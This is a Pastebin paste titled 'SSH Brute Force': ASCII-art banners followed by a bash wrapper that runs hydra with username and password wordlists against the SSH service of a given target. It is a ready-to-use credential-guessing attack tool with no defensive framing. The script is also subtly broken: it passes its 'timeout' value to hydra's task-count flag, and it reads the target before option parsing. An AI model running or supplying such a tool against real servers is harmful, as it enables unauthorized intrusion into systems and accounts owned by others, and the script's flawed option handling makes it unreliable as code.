Advertisement
Sweetening

SSH Brute Force

May 12th, 2024
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.14 KB | None | 0 0
  1. █████████ █████████ █████ █████ ███████████ ███████████ █████ █████ ███████████ ██████████
  2. ███░░░░░███ ███░░░░░███░░███ ░░███ ░░███░░░░░███░░███░░░░░███ ░░███ ░░███ ░█░░░███░░░█░░███░░░░░█
  3. ░███ ░░░ ░███ ░░░ ░███ ░███ ░███ ░███ ░███ ░███ ░███ ░███ ░ ░███ ░ ░███ █ ░
  4. ░░█████████ ░░█████████ ░███████████ ░██████████ ░██████████ ░███ ░███ ░███ ░██████
  5. ░░░░░░░░███ ░░░░░░░░███ ░███░░░░░███ ░███░░░░░███ ░███░░░░░███ ░███ ░███ ░███ ░███░░█
  6. ███ ░███ ███ ░███ ░███ ░███ ░███ ░███ ░███ ░███ ░███ ░███ ░███ ░███ ░ █
  7. ░░█████████ ░░█████████ █████ █████ ███████████ █████ █████ ░░████████ █████ ██████████
  8. ░░░░░░░░░ ░░░░░░░░░ ░░░░░ ░░░░░ ░░░░░░░░░░░ ░░░░░ ░░░░░ ░░░░░░░░ ░░░░░ ░░░░░░░░░░
  9.  
  10.  
  11.  
  12. █████████ █████ █████ ███████████
  13. ███░░░░░███ ░░███ ░░███ ░░███░░░░░███
  14. ███ ░░░ ██████ ███████ ██████ ███████ ░███ ░███ █████ ████
  15. ░███ ███░░███ ███░░███ ███░░███ ███░░███ ░██████████ ░░███ ░███
  16. ░███ ░███ ░███░███ ░███ ░███████ ░███ ░███ ░███░░░░░███ ░███ ░███
  17. ░░███ ███░███ ░███░███ ░███ ░███░░░ ░███ ░███ ░███ ░███ ░███ ░███
  18. ░░█████████ ░░██████ ░░████████░░██████ ░░████████ ███████████ ░░███████
  19. ░░░░░░░░░ ░░░░░░ ░░░░░░░░ ░░░░░░ ░░░░░░░░ ░░░░░░░░░░░ ░░░░░███
  20. ███ ░███
  21. ░░██████
  22. ░░░░░░
  23. █████████ ████ ███████████ █████ █████████ █████
  24. ███░░░░░███░░███ ░█░░░███░░░█░░███ ███░░░░░███ ░░███
  25. ░███ ░░░ ░███ ██████ ██████ ████████ ░ ░███ ░ ░███████ ██████ ███ ░░░ ██████ ███████
  26. ░░█████████ ░███ ███░░███ ███░░███░░███░░███ ░███ ░███░░███ ███░░███░███ ███░░███ ███░░███
  27. ░░░░░░░░███ ░███ ░███████ ░███████ ░███ ░███ ░███ ░███ ░███ ░███████ ░███ █████░███ ░███░███ ░███
  28. ███ ░███ ░███ ░███░░░ ░███░░░ ░███ ░███ ░███ ░███ ░███ ░███░░░ ░░███ ░░███ ░███ ░███░███ ░███
  29. ░░█████████ █████░░██████ ░░██████ ░███████ █████ ████ █████░░██████ ░░█████████ ░░██████ ░░████████
  30. ░░░░░░░░░ ░░░░░ ░░░░░░ ░░░░░░ ░███░░░ ░░░░░ ░░░░ ░░░░░ ░░░░░░ ░░░░░░░░░ ░░░░░░ ░░░░░░░░
  31. ░███
  32. █████
  33. ░░░░░
  34.  
  35.  
  36. #!/bin/bash
  37.  
  38. # Check if necessary tools are installed
  39. if ! command -v hydra &> /dev/null
  40. then
  41. echo "hydra could not be found, please install it to use this script."
  42. exit
  43. fi
  44.  
  45. # Default values
  46. SSH_PORT=22
  47. TIMEOUT=5
  48. USER_LIST="users.lst"
  49. PASS_LIST="pass.lst"
  50. TARGET="$1"
  51.  
  52. # Usage function
  53. usage() {
  54. echo "Usage: $0 <target>"
  55. echo "Optional parameters:"
  56. echo " -p <port> SSH port (default: 22)"
  57. echo " -U <user list file> File containing list of usernames (default: users.lst)"
  58. echo " -P <password list file> File containing list of passwords (default: pass.lst)"
  59. echo " -t <timeout> Timeout in seconds (default: 5)"
  60. exit 1
  61. }
  62.  
  63. # Parse command-line options
  64. while getopts ":p:U:P:t:" opt; do
  65. case ${opt} in
  66. p )
  67. SSH_PORT=$OPTARG
  68. ;;
  69. U )
  70. USER_LIST=$OPTARG
  71. ;;
  72. P )
  73. PASS_LIST=$OPTARG
  74. ;;
  75. t )
  76. TIMEOUT=$OPTARG
  77. ;;
  78. \? )
  79. echo "Invalid option: $OPTARG" 1>&2
  80. usage
  81. ;;
  82. : )
  83. echo "Invalid option: $OPTARG requires an argument" 1>&2
  84. usage
  85. ;;
  86. esac
  87. done
  88. shift $((OPTIND -1))
  89.  
  90. # Check if target is provided
  91. if [ -z "${TARGET}" ]; then
  92. usage
  93. fi
  94.  
  95. # Run Hydra to perform the brute force attack
  96. echo "Starting brute-force attack on $TARGET..."
  97. hydra -t $TIMEOUT -V -f -L $USER_LIST -P $PASS_LIST -s $SSH_PORT ssh://$TARGET
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement